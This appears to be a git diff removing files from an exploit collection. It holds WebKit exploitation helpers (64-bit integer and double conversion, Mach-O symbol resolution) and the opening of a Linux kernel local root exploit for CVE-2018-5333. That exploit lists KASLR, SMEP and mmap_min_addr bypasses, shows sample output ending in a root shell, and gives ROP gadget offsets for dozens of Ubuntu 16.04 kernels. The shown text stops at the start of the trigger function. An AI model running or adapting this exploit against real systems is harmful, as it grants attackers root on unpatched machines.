// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
|
||||
this.assignSub(this, 0x1000000000000);
|
||||
var res = Struct.unpack(Struct.float64, bytes);
|
||||
this.assignAdd(this, 0x1000000000000);
|
||||
|
||||
return res;
|
||||
};
|
||||
|
||||
// Return the underlying bytes of this number as array.
|
||||
this.bytes = function() {
|
||||
return Array.from(bytes);
|
||||
};
|
||||
|
||||
// Return the byte at the given index.
|
||||
this.byteAt = function(i) {
|
||||
return bytes[i];
|
||||
};
|
||||
|
||||
// Return the value of this number as unsigned hex string.
|
||||
this.toString = function() {
|
||||
return '0x' + hexlify(Array.from(bytes).reverse());
|
||||
};
|
||||
|
||||
this.lo = function()
|
||||
{
|
||||
var b = this.bytes();
|
||||
return (b[0] | (b[1] << 8) | (b[2] << 16) | (b[3] << 24)) >>> 0;
|
||||
};
|
||||
|
||||
this.hi = function()
|
||||
{
|
||||
var b = this.bytes();
|
||||
return (b[4] | (b[5] << 8) | (b[6] << 16) | (b[7] << 24)) >>> 0;
|
||||
};
|
||||
|
||||
// Basic arithmetic.
|
||||
// These functions assign the result of the computation to their 'this' object.
|
||||
|
||||
// Decorator for Int64 instance operations. Takes care
|
||||
// of converting arguments to Int64 instances if required.
|
||||
function operation(f, nargs) {
|
||||
return function() {
|
||||
if (arguments.length != nargs)
|
||||
throw Error("Not enough arguments for function " + f.name);
|
||||
for (var i = 0; i < arguments.length; i++)
|
||||
if (!(arguments[i] instanceof Int64))
|
||||
arguments[i] = new Int64(arguments[i]);
|
||||
return f.apply(this, arguments);
|
||||
};
|
||||
}
|
||||
|
||||
// this = -n (two's complement)
|
||||
this.assignNeg = operation(function neg(n) {
|
||||
for (var i = 0; i < 8; i++)
|
||||
bytes[i] = ~n.byteAt(i);
|
||||
|
||||
return this.assignAdd(this, Int64.One);
|
||||
}, 1);
|
||||
|
||||
// this = a + b
|
||||
this.assignAdd = operation(function add(a, b) {
|
||||
var carry = 0;
|
||||
for (var i = 0; i < 8; i++) {
|
||||
var cur = a.byteAt(i) + b.byteAt(i) + carry;
|
||||
carry = cur > 0xff | 0;
|
||||
bytes[i] = cur;
|
||||
}
|
||||
return this;
|
||||
}, 2);
|
||||
|
||||
// this = a - b
|
||||
this.assignSub = operation(function sub(a, b) {
|
||||
var carry = 0;
|
||||
for (var i = 0; i < 8; i++) {
|
||||
var cur = a.byteAt(i) - b.byteAt(i) - carry;
|
||||
carry = cur < 0 | 0;
|
||||
bytes[i] = cur;
|
||||
}
|
||||
return this;
|
||||
}, 2);
|
||||
|
||||
// this = a ^ b
|
||||
this.assignXor = operation(function sub(a, b) {
|
||||
for (var i = 0; i < 8; i++) {
|
||||
bytes[i] = a.byteAt(i) ^ b.byteAt(i);
|
||||
}
|
||||
return this;
|
||||
}, 2);
|
||||
|
||||
// this = a & b
|
||||
this.assignAnd = operation(function sub(a, b) {
|
||||
for (var i = 0; i < 8; i++) {
|
||||
bytes[i] = a.byteAt(i) & b.byteAt(i);
|
||||
}
|
||||
return this;
|
||||
}, 2)
|
||||
}
|
||||
|
||||
// Constructs a new Int64 instance with the same bit representation as the provided double.
|
||||
Int64.fromDouble = function(d) {
|
||||
var bytes = Struct.pack(Struct.float64, d);
|
||||
return new Int64(bytes);
|
||||
};
|
||||
|
||||
// Convenience functions. These allocate a new Int64 to hold the result.
|
||||
|
||||
// Return -n (two's complement)
|
||||
function Neg(n) {
|
||||
return (new Int64()).assignNeg(n);
|
||||
}
|
||||
|
||||
// Return a + b
|
||||
function Add(a, b) {
|
||||
return (new Int64()).assignAdd(a, b);
|
||||
}
|
||||
|
||||
// Return a - b
|
||||
function Sub(a, b) {
|
||||
return (new Int64()).assignSub(a, b);
|
||||
}
|
||||
|
||||
// Return a ^ b
|
||||
function Xor(a, b) {
|
||||
return (new Int64()).assignXor(a, b);
|
||||
}
|
||||
|
||||
// Return a & b
|
||||
function And(a, b) {
|
||||
return (new Int64()).assignAnd(a, b);
|
||||
}
|
||||
|
||||
// Some commonly used numbers.
|
||||
Int64.Zero = new Int64(0);
|
||||
Int64.One = new Int64(1);
|
||||
|
||||
// That's all the arithmetic we need for exploiting WebKit.. :)
|
||||
Binary file not shown.
@@ -1,211 +0,0 @@
|
||||
//
|
||||
// Utility functions.
|
||||
//
|
||||
// Copyright (c) 2016 Samuel Groß
|
||||
//
|
||||
|
||||
// Return the hexadecimal representation of the given byte.
|
||||
function hex(b) {
|
||||
return ('0' + b.toString(16)).substr(-2);
|
||||
}
|
||||
|
||||
// Return the hexadecimal representation of the given byte array.
|
||||
function hexlify(bytes) {
|
||||
var res = [];
|
||||
for (var i = 0; i < bytes.length; i++)
|
||||
res.push(hex(bytes[i]));
|
||||
|
||||
return res.join('');
|
||||
}
|
||||
|
||||
// Return the binary data represented by the given hexdecimal string.
|
||||
function unhexlify(hexstr) {
|
||||
if (hexstr.length % 2 == 1)
|
||||
throw new TypeError("Invalid hex string");
|
||||
|
||||
var bytes = new Uint8Array(hexstr.length / 2);
|
||||
for (var i = 0; i < hexstr.length; i += 2)
|
||||
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
|
||||
|
||||
return bytes;
|
||||
}
|
||||
|
||||
function hexdump(data) {
|
||||
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
|
||||
data = Array.from(data);
|
||||
|
||||
var lines = [];
|
||||
for (var i = 0; i < data.length; i += 16) {
|
||||
var chunk = data.slice(i, i+16);
|
||||
var parts = chunk.map(hex);
|
||||
if (parts.length > 8)
|
||||
parts.splice(8, 0, ' ');
|
||||
lines.push(parts.join(' '));
|
||||
}
|
||||
|
||||
return lines.join('\n');
|
||||
}
|
||||
|
||||
function strcmp(b, str)
|
||||
{
|
||||
var fn = typeof b == "function" ? b : function(i) { return b[i]; };
|
||||
for(var i = 0; i < str.length; ++i)
|
||||
{
|
||||
if(fn(i) != str.charCodeAt(i))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return fn(str.length) == 0;
|
||||
}
|
||||
|
||||
function b2u32(b)
|
||||
{
|
||||
return (b[0] | (b[1] << 8) | (b[2] << 16) | (b[3] << 24)) >>> 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
function off2addr(segs, off)
|
||||
{
|
||||
if(!(off instanceof Int64)) off = new Int64(off);
|
||||
for(var i = 0; i < segs.length; ++i)
|
||||
{
|
||||
var start = segs[i].fileoff;
|
||||
var end = Add(start, segs[i].size);
|
||||
if
|
||||
(
|
||||
(start.hi() < off.hi() || (start.hi() == off.hi() && start.lo() <= off.lo())) &&
|
||||
(end.hi() > off.hi() || (end.hi() == off.hi() && end.lo() > off.lo()))
|
||||
)
|
||||
{
|
||||
return Add(segs[i].addr, Sub(off, start));
|
||||
}
|
||||
}
|
||||
return new Int64("0x4141414141414141");
|
||||
}
|
||||
|
||||
function fsyms(mem, base, segs, want, syms)
|
||||
{
|
||||
want = Array.from(want); // copy
|
||||
if(syms === undefined)
|
||||
{
|
||||
syms = {};
|
||||
}
|
||||
|
||||
var stab = null;
|
||||
var ncmds = mem.u32(Add(base, 0x10));
|
||||
for(var i = 0, off = 0x20; i < ncmds; ++i)
|
||||
{
|
||||
var cmd = mem.u32(Add(base, off));
|
||||
if(cmd == 0x2) // LC_SYMTAB
|
||||
{
|
||||
var b = mem.read(Add(base, off + 0x8), 0x10);
|
||||
stab =
|
||||
{
|
||||
symoff: b2u32(b.slice(0x0, 0x4)),
|
||||
nsyms: b2u32(b.slice(0x4, 0x8)),
|
||||
stroff: b2u32(b.slice(0x8, 0xc)),
|
||||
strsize: b2u32(b.slice(0xc, 0x10)),
|
||||
};
|
||||
break;
|
||||
}
|
||||
off += mem.u32(Add(base, off + 0x4));
|
||||
}
|
||||
if(stab == null)
|
||||
{
|
||||
fail("stab");
|
||||
}
|
||||
var tmp = { base: off2addr(segs, stab.stroff), off: 0 };
|
||||
var fn = function(i)
|
||||
{
|
||||
return mem.read(Add(tmp.base, tmp.off + i), 1)[0];
|
||||
};
|
||||
for(var i = 0; i < stab.nsyms && want.length > 0; ++i)
|
||||
{
|
||||
tmp.off = mem.u32(off2addr(segs, stab.symoff + i * 0x10));
|
||||
for(var j = 0; j < want.length; ++j)
|
||||
{
|
||||
var s = want[j];
|
||||
if((strcmp(fn, s)))
|
||||
{
|
||||
syms[s] = mem.readInt64(off2addr(segs, stab.symoff + i * 0x10 + 0x8));
|
||||
want.splice(j, 1);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
return syms;
|
||||
}
|
||||
|
||||
function strcmp(b, str)
|
||||
{
|
||||
var fn = typeof b == "function" ? b : function(i) { return b[i]; };
|
||||
for(var i = 0; i < str.length; ++i)
|
||||
{
|
||||
if(fn(i) != str.charCodeAt(i))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return fn(str.length) == 0;
|
||||
}
|
||||
|
||||
function _u32(i)
|
||||
{
|
||||
return b2u32(this.read(i, 4));
|
||||
}
|
||||
|
||||
function _read(i, l)
|
||||
{
|
||||
if (i instanceof Int64) i = i.lo();
|
||||
if (l instanceof Int64) l = l.lo();
|
||||
if (i + l > this.length)
|
||||
{
|
||||
fail(`OOB read: ${i} -> ${i + l}, size: ${l}`);
|
||||
}
|
||||
return this.slice(i, i + l);
|
||||
}
|
||||
|
||||
function _readInt64(addr)
|
||||
{
|
||||
return new Int64(this.read(addr, 8));
|
||||
}
|
||||
|
||||
function _writeInt64(i, val)
|
||||
{
|
||||
if (i instanceof Int64) i = i.lo();
|
||||
this.set(val.bytes(), i);
|
||||
}
|
||||
|
||||
|
||||
// Simplified version of the similarly named python module.
|
||||
var Struct = (function() {
|
||||
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
|
||||
var buffer = new ArrayBuffer(8);
|
||||
var byteView = new Uint8Array(buffer);
|
||||
var uint32View = new Uint32Array(buffer);
|
||||
var float64View = new Float64Array(buffer);
|
||||
|
||||
return {
|
||||
pack: function(type, value) {
|
||||
var view = type; // See below
|
||||
view[0] = value;
|
||||
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
|
||||
},
|
||||
|
||||
unpack: function(type, bytes) {
|
||||
if (bytes.length !== type.BYTES_PER_ELEMENT)
|
||||
throw Error("Invalid bytearray");
|
||||
|
||||
var view = type; // See below
|
||||
byteView.set(bytes);
|
||||
return view[0];
|
||||
},
|
||||
|
||||
// Available types.
|
||||
int8: byteView,
|
||||
int32: uint32View,
|
||||
float64: float64View
|
||||
};
|
||||
})();
|
||||
Binary file not shown.
Binary file not shown.
@@ -1,883 +0,0 @@
|
||||
// Local root exploit for Linux RDS rds_atomic_free_op NULL pointer dereference
|
||||
// in the rds kernel module in the Linux kernel through 4.14.13 (CVE-2018-5333).
|
||||
//
|
||||
// Includes KASLR, SMEP, and mmap_min_addr bypasses. No SMAP bypass.
|
||||
//
|
||||
// Targets:
|
||||
// - Ubuntu 16.04 kernels 4.4.0 <= 4.4.0-116
|
||||
// - Ubuntu 16.04 kernels 4.8.0 <= 4.8.0-54
|
||||
//
|
||||
// The rds kernel module is not loaded by default on Ubuntu, and is blacklisted
|
||||
// in /etc/modprobe.d/blacklist-rare-network.conf to prevent autoloading.
|
||||
// - install: sudo apt install "linux-image-extra-$(uname -r)-generic"
|
||||
// - load: sudo insmod "/lib/modules/$(uname -r)/kernel/net/rds/rds.ko"
|
||||
//
|
||||
// This exploit is a modified extension of the original local root
|
||||
// proof of concept exploit written by wbowling as an example of using
|
||||
// CVE-2019-9213 to make previous kernel bugs exploitable:
|
||||
// - https://gist.github.com/wbowling/9d32492bd96d9e7c3bf52e23a0ac30a4
|
||||
//
|
||||
// The original exploit is based on the null pointer dereference
|
||||
// reproducer proof of concept and analysis by 0x36:
|
||||
// - https://github.com/0x36/CVE-pocs/blob/master/CVE-2018-5333-rds-nullderef.c
|
||||
//
|
||||
// wbowling has done most of the hard work, by utilising Jann Horn's
|
||||
// mmap_min_addr bypass technique (CVE-2019-9213), allowing userland to mmap
|
||||
// virtual address 0 (without which this bug would not be exploitable on
|
||||
// systems with a sufficiently large value for vm.mmap_min_addr);
|
||||
// and developing the appropriate ROP chain.
|
||||
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2
|
||||
//
|
||||
// This exploit adds offsets for additional kernels, and introduces some
|
||||
// additional features, such as KASLR bypasses and system checks, including:
|
||||
// - check if system supports SMAP
|
||||
// - check if system supports RDS sockets
|
||||
// - Jann Horn's mincore KASLR bypass via heap page disclosure (CVE-2017-16994)
|
||||
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
|
||||
// - spender's /proc/kallsyms KASLR bypass (requires kernel.kptr_restrict=0)
|
||||
// - https://grsecurity.net/~spender/exploits/exploit.txt
|
||||
// - xairy's syslog KASLR bypass (requires kernel.dmesg_restrict=0)
|
||||
// - https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
|
||||
// - lizzie's perf_event_open KASLR bypass (requires kernel.perf_event_paranoid<2)
|
||||
// - https://blog.lizzie.io/kaslr-and-perf.html
|
||||
//
|
||||
// Shoutout to nstarke for adding additional kernel offsets.
|
||||
// - https://github.com/bcoles/kernel-exploits/pulls?q=author:nstarke+cve-2018-5333
|
||||
//
|
||||
// This exploit also uses various code patterns copied from:
|
||||
// - xairy's exploits:
|
||||
// - https://github.com/xairy/kernel-exploits
|
||||
// - vnik's kernel ROP code:
|
||||
// - https://github.com/vnik5287/kernel_rop
|
||||
// ---
|
||||
// $ gcc cve-2018-5333.c -o cve-2018-5333 -Wall
|
||||
// $ ./cve-2018-5333
|
||||
// Linux RDS rds_atomic_free_op NULL pointer dereference local root (CVE-2018-5333)
|
||||
// [.] checking kernel version...
|
||||
// [.] kernel version '4.4.0-116-generic #140-Ubuntu' detected
|
||||
// [~] done, version looks good
|
||||
// [.] checking system...
|
||||
// [~] done, looks good
|
||||
// [.] mapping null address...
|
||||
// [~] done, mapped null address
|
||||
// [.] KASLR bypass enabled, getting kernel base address
|
||||
// [.] trying /proc/kallsyms...
|
||||
// [-] kernel base not found in /proc/kallsyms
|
||||
// [.] trying syslog...
|
||||
// [-] kernel base not found in syslog
|
||||
// [.] trying perf_event_open sampling...
|
||||
// [.] done, kernel text: ffffffff9f000000
|
||||
// [.] commit_creds: ffffffff9f0a4cf0
|
||||
// [.] prepare_kernel_cred: ffffffff9f0a50e0
|
||||
// [.] mmapping fake stack...
|
||||
// [~] done, fake stack mmapped
|
||||
// [.] executing payload 0x402119...
|
||||
// [+] got root
|
||||
// # id
|
||||
// uid=0(root) gid=0(root) groups=0(root)
|
||||
// ---
|
||||
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2018-5333
|
||||
// <bcoles@gmail.com>
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <signal.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <unistd.h>
|
||||
#include <linux/perf_event.h>
|
||||
#include <netinet/in.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/klog.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define dprintf printf
|
||||
#else
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
#define ENABLE_SYSTEM_CHECKS 1
|
||||
#define ENABLE_KASLR_BYPASS 1
|
||||
|
||||
#if ENABLE_KASLR_BYPASS
|
||||
# define KERNEL_BASE_MIN 0xffffffff00000000ul
|
||||
# define KERNEL_BASE_MAX 0xffffffffff000000ul
|
||||
# define ENABLE_KASLR_BYPASS_KALLSYMS 1
|
||||
# define ENABLE_KASLR_BYPASS_SYSLOG 1
|
||||
# define ENABLE_KASLR_BYPASS_PERF 1
|
||||
# define ENABLE_KASLR_BYPASS_MINCORE 1
|
||||
#endif
|
||||
|
||||
// Can be overwritten by argv[1]
|
||||
char *SHELL = "/bin/sh";
|
||||
|
||||
// Will be overwritten if ENABLE_KASLR_BYPASS is enabled (1)
|
||||
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
|
||||
|
||||
// Will be overwritten by detect_versions().
|
||||
int kernel = -1;
|
||||
|
||||
// kernel target struct, using ROP chain from wbowling's exploit
|
||||
struct kernel_info {
|
||||
const char* kernel_version;
|
||||
uint64_t commit_creds;
|
||||
uint64_t prepare_kernel_cred;
|
||||
uint64_t xor_rdi; //: xor edi, edi ; ret
|
||||
uint64_t mov_rdi_rax; //: mov rdi, rax ; pop rbx ; mov rax, rdi ; pop r12 ; pop rbp ; ret
|
||||
uint64_t xchg_esp; //: xchg eax, esp ; shr bl, 0xbf ; xor eax, eax ; pop rbp ; ret
|
||||
uint64_t swapgs; //: swapgs ; pop rbp ; ret
|
||||
uint64_t iretq; //: iretq
|
||||
};
|
||||
|
||||
// Targets
|
||||
struct kernel_info kernels[] = {
|
||||
{ "4.4.0-21-generic #37-Ubuntu", 0xa21c0, 0xa25b0, 0x5d0c5, 0x178157, 0x3f8158, 0x64644, 0x4cc7da },
|
||||
{ "4.4.0-22-generic #40-Ubuntu", 0xa2220, 0xa2610, 0x5d0c5, 0x178217, 0x3f89e8, 0x64644, 0x7d005 },
|
||||
{ "4.4.0-24-generic #43-Ubuntu", 0xa2340, 0xa2730, 0x5d0c5, 0x178447, 0x3f98b8, 0x64644, 0x7d125 },
|
||||
{ "4.4.0-28-generic #47-Ubuntu", 0xa24a0, 0xa2890, 0x5d0c5, 0x178717, 0x3f9f38, 0x64644, 0x585dc },
|
||||
{ "4.4.0-31-generic #50-Ubuntu", 0xa24a0, 0xa2890, 0x5d0c5, 0x1787a7, 0x3ffed8, 0x64644, 0x7d125 },
|
||||
{ "4.4.0-38-generic #57-Ubuntu", 0xa2570, 0xa2960, 0x5d0c5, 0x178a97, 0x400968, 0x64634, 0x7d1e5 },
|
||||
{ "4.4.0-42-generic #62-Ubuntu", 0xa25c0, 0xa29b0, 0x5d0c5, 0x178ac7, 0x400d78, 0x64634, 0x7d1a5 },
|
||||
{ "4.4.0-98-generic #121-Ubuntu", 0xa2850, 0xa2c40, 0x5d0c5, 0x17a427, 0x40a138, 0x64694, 0x4b243 },
|
||||
{ "4.4.0-108-generic #131-Ubuntu", 0xa3420, 0xa3810, 0x5d0c5, 0x17af37, 0x40aa98, 0x646a4, 0x7dd35 },
|
||||
{ "4.4.0-109-generic #132-Ubuntu", 0xa3420, 0xa3810, 0x5d0c5, 0x17af37, 0x40aa98, 0x646a4, 0x7dd35 },
|
||||
{ "4.4.0-112-generic #135-Ubuntu", 0xa3a90, 0xa3e80, 0x5d0c5, 0x17b657, 0x40b238, 0x646a4, 0x54137c },
|
||||
{ "4.4.0-116-generic #140-Ubuntu", 0xa4cf0, 0xa50e0, 0x5e0c5, 0x17d5d7, 0x40ed08, 0x65734, 0x3a5b04 },
|
||||
|
||||
/* Untested:
|
||||
{ "4.4.0-51-generic #72-Ubuntu", 0xa2670, 0xa2a60, 0x5d0c5, 0x178cf7, 0x404d78, 0x64634, 0x7d1a5 },
|
||||
{ "4.4.0-62-generic #83-Ubuntu", 0xa2840, 0xa2c30, 0x5d0c5, 0x179747, 0x406a78, 0x64634, 0x7d1e5 },
|
||||
{ "4.4.0-63-generic #84-Ubuntu", 0xa2840, 0xa2c30, 0x5d0c5, 0x179827, 0x406e98, 0x64634, 0x406eb },
|
||||
{ "4.4.0-66-generic #87-Ubuntu", 0xa2840, 0xa2c30, 0x5d0c5, 0x179827, 0x406e98, 0x64634, 0x406eb },
|
||||
{ "4.4.0-70-generic #91-Ubuntu", 0xa27b0, 0xa2ba0, 0x5d0c5, 0x179847, 0x4070c8, 0x64664, 0x406eb },
|
||||
{ "4.4.0-79-generic #100-Ubuntu", 0xa2800, 0xa2bf0, 0x5d0c5, 0x179a67, 0x408338, 0x64664, 0x7d235 },
|
||||
{ "4.4.0-87-generic #110-Ubuntu", 0xa2860, 0xa2c50, 0x5d0c5, 0x179ca7, 0x408768, 0x64694, 0x7d285 },
|
||||
{ "4.4.0-89-generic #112-Ubuntu", 0xa28a0, 0xa2c90, 0x5d0c5, 0x179d27, 0x408ae8, 0x64694, 0x7d265 },
|
||||
{ "4.4.0-96-generic #119-Ubuntu", 0xa28c0, 0xa2cb0, 0x5d0c5, 0x179e27, 0x409a48, 0x64694, 0x7d235 },
|
||||
{ "4.4.0-97-generic #120-Ubuntu", 0xa2850, 0xa2c40, 0x5d0c5, 0x179e47, 0x409a58, 0x64694, 0x4ed41 },
|
||||
*/
|
||||
|
||||
{ "4.4.0-21-lowlatency #37-Ubuntu", 0xa3150, 0xa3560, 0x5e0c5, 0x17b2c7, 0x401288, 0x64d34, 0x7d95c },
|
||||
{ "4.4.0-22-lowlatency #40-Ubuntu", 0xa31c0, 0xa35d0, 0x5e0c5, 0x17b397, 0x401b48, 0x64d34, 0x7d9bc },
|
||||
{ "4.4.0-24-lowlatency #43-Ubuntu", 0xa32e0, 0xa36f0, 0x5e0c5, 0x17b5e7, 0x402958, 0x64d34, 0x7dadc },
|
||||
{ "4.4.0-28-lowlatency #47-Ubuntu", 0xa3450, 0xa3860, 0x5e0c5, 0x17b8c7, 0x402f48, 0x64d34, 0x7dadc },
|
||||
//{ "4.4.0-31-lowlatency #50-Ubuntu", 0xa3450, 0xa3860, 0x5e0c5, 0x17b9a7, 0x409018, 0x64d34, 0x7dadc },
|
||||
//{ "4.4.0-34-lowlatency #53-Ubuntu", 0xa3450, 0xa3860, 0x5e0c5, 0x17b9a7, 0x409088, 0x64d34, 0x7dadc },
|
||||
{ "4.4.0-36-lowlatency #55-Ubuntu", 0xa3430, 0xa3840, 0x5e0c5, 0x17b9e7, 0x409318, 0x64d24, 0x7dacc },
|
||||
{ "4.4.0-38-lowlatency #57-Ubuntu", 0xa3500, 0xa3910, 0x5e0c5, 0x17bcb7, 0x409b38, 0x64d24, 0x4c030 },
|
||||
{ "4.4.0-42-lowlatency #62-Ubuntu", 0xa3560, 0xa3970, 0x5e0c5, 0x17bcf7, 0x409f68, 0x64d24, 0x7db6c },
|
||||
{ "4.4.0-98-lowlatency #121-Ubuntu", 0xa38c0, 0xa3cd0, 0x5e0c5, 0x17d737, 0x413408, 0x64d84, 0x24454 },
|
||||
{ "4.4.0-109-lowlatency #132-Ubuntu", 0xa5530, 0xa5940, 0x5f0c5, 0x17f257, 0x414c18, 0x65d94, 0x7f7ac },
|
||||
{ "4.4.0-112-lowlatency #135-Ubuntu", 0xa5bd0, 0xa5fe0, 0x5f0c5, 0x17f9a7, 0x415448, 0x65d94, 0x7f8dc },
|
||||
{ "4.4.0-116-lowlatency #140-Ubuntu", 0xa6e00, 0xa7210, 0x600c5, 0x1818f7, 0x418a38, 0x66de4, 0x809ef },
|
||||
|
||||
{ "4.8.0-34-generic #36~16.04.1-Ubuntu", 0xa5d50, 0xa6140, 0x5d0c5, 0x1876d7, 0x43d208, 0x642f4, 0x7ed2b },
|
||||
{ "4.8.0-36-generic #36~16.04.1-Ubuntu", 0xa5d50, 0xa6140, 0x5d0c5, 0x1876d7, 0x43d208, 0x642f4, 0x7ed2b },
|
||||
{ "4.8.0-39-generic #42~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43da98, 0x642f4, 0x7ed2b },
|
||||
{ "4.8.0-41-generic #44~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43da98, 0x642f4, 0x7ed2b },
|
||||
{ "4.8.0-42-generic #45~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dea8, 0x642f4, 0x5c4f3 },
|
||||
{ "4.8.0-44-generic #47~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dac8, 0x642f4, 0x7ed2b },
|
||||
{ "4.8.0-45-generic #48~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dac8, 0x642f4, 0x7ed2b },
|
||||
{ "4.8.0-46-generic #49~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dac8, 0x642f4, 0x7ed2b },
|
||||
{ "4.8.0-49-generic #52~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43dce8, 0x642f4, 0x7ed3b },
|
||||
{ "4.8.0-51-generic #54~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43dce8, 0x642f4, 0x7ed3b },
|
||||
{ "4.8.0-52-generic #55~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e208, 0x642f4, 0x7ed3b },
|
||||
{ "4.8.0-53-generic #56~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e208, 0x642f4, 0x7ed3b },
|
||||
{ "4.8.0-54-generic #57~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e208, 0x642f4, 0x7ed3b },
|
||||
//{ "4.8.0-56-generic #61~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e278, 0x642f4, 0x7ed3b },
|
||||
//{ "4.8.0-58-generic #63~16.04.1-Ubuntu", 0xa5d20, 0xa6110, 0x5d0c5, 0x187797, 0x43dfa8, 0x642f4, 0x7ed5b },
|
||||
|
||||
{ "4.8.0-34-lowlatency #36~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18ae07, 0x4467f8, 0x649f4, 0x7f902 },
|
||||
{ "4.8.0-36-lowlatency #36~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18ae07, 0x4467f8, 0x649f4, 0x7f902 },
|
||||
//{ "4.8.0-39-lowlatency #42~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aec7, 0x4470d8, 0x649f4, 0x7f902 },
|
||||
{ "4.8.0-41-lowlatency #44~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aec7, 0x4470d8, 0x649f4, 0x7f902 },
|
||||
{ "4.8.0-42-lowlatency #45~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447428, 0x649f4, 0x4b3e3 },
|
||||
{ "4.8.0-44-lowlatency #47~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447108, 0x649f4, 0x4b3e3 },
|
||||
{ "4.8.0-45-lowlatency #48~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447108, 0x649f4, 0x4b3e3 },
|
||||
{ "4.8.0-46-lowlatency #49~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447108, 0x649f4, 0x4b3e3 },
|
||||
{ "4.8.0-49-lowlatency #52~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x447278, 0x649f4, 0x4b3e3 },
|
||||
{ "4.8.0-51-lowlatency #54~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x447278, 0x649f4, 0x4b3e3 },
|
||||
{ "4.8.0-52-lowlatency #55~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477a8, 0x649f4, 0x4b3e3 },
|
||||
{ "4.8.0-53-lowlatency #56~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477a8, 0x649f4, 0x4b3e3 },
|
||||
{ "4.8.0-54-lowlatency #57~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477a8, 0x649f4, 0x7f912 },
|
||||
//{ "4.8.0-56-lowlatency #61~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477f8, 0x649f4, 0x7f912 },
|
||||
//{ "4.8.0-58-lowlatency #63~16.04.1-Ubuntu", 0xa6ef0, 0xa7300, 0x5e0c5, 0x18aee7, 0x447568, 0x649f4, 0x7f932 },
|
||||
|
||||
//{ "4.10.0-14-generic #16~16.04.1-Ubuntu", 0xab610, 0xaba00, 0x600c5, 0x194ac7, 0x458288, 0x67764, 0x34c4b },
|
||||
//{ "4.13.0-16-generic #19~16.04.3-Ubuntu", 0xa8220, 0xa85f0, 0x5f0c5, 0x19c8a7, 0x462d18, 0x668b4, 0x2f2d4 },
|
||||
//{ "4.13.0-37-generic #42~16.04.1-Ubuntu", 0xab1d0, 0xab5a0, 0x610c5, 0x1a0827, 0x46bf58, 0x68944, 0x3381b },
|
||||
};
|
||||
|
||||
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
|
||||
// https://github.com/0x36/CVE-pocs/blob/master/CVE-2018-5333-rds-nullderef.c
|
||||
|
||||
#define RAND_SIZE 4096
|
||||
|
||||
#ifndef SOL_RDS
|
||||
# define SOL_RDS 276
|
||||
#endif
|
||||
#ifndef RDS_CMSG_MASKED_ATOMIC_CSWP
|
||||
# define RDS_CMSG_MASKED_ATOMIC_CSWP 9
|
||||
#endif
|
||||
#ifndef AF_RDS
|
||||
# define AF_RDS 0x15
|
||||
#endif
|
||||
|
||||
void trigger_bug()
|
||||
{
|
||||
